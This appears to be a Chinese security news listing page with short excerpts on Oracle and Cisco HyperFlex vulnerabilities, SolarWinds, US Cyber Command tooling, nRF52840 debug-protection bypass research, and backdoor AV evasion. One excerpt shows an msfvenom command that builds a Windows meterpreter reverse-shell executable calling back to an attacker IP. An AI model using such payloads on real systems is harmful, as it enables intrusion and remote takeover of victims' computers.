01漏洞描述甲骨文公司(Oracle),全称甲骨文股份有限公司(甲骨文软件系统有限公司),是全球最大的企业级软件公司,总部位于美国加利福尼亚州的红木滩。1989年正式进入中国市场。2013...
美国态势感知系统之从IKE项目说开去(二)
2020年11月,外媒曾刊发题为《美国网络司令部在平台上取得进展以整合其众多工具和数据》的报道。我们对此简介如下,以供读者参考。网络司令部的统一平台(Unified Platform)将作为网络司令部...
【后门攻击】后门生成模块免杀
从后面生成模块到权限维持基本命令 命令参数解释 -p、-payload 指定payload –list payloads 列出可以设置的payload选项 -l、-list 列出可用项 -n 指定no...
【漏洞通告】HyperFlex HX Data Platform远程命令执行漏洞 CVE-2021-1497
漏洞名称 : HyperFlex HX Data Platform远程命令执行漏洞 CVE-2021-1497组件名称 : HyperFlex HX影响范围 :...
反弹入侵(几乎适用于任何windows主机)((请勿用于非法操作!!!))
root@kali:~# msfvenom -pwindows/meterpreter/reverse_tcp lhost=192.168.1.117 lport=1234 --format=exe&...
SolarWinds Orion Platform软件供应链攻击风险更新提示
安全公告2020年12月20日,SolarWinds官方更新发布SolarWinds Orion Platform软件在今年3月到6月发布的版本中,发现遭受了国家级别的高度复杂的供应链攻击行为的安全公...
对nRF52840片上系统的硬件调试与漏洞研究(part1)
在受保护 platform上激活JTAG / SWD调试接口一直是嵌入式安全研究中的敏感话题。 本次漏洞研究提出了一种绕过受保护的nRF52840上的APPROTECT的方法,以便重新激活串行线调试接...
7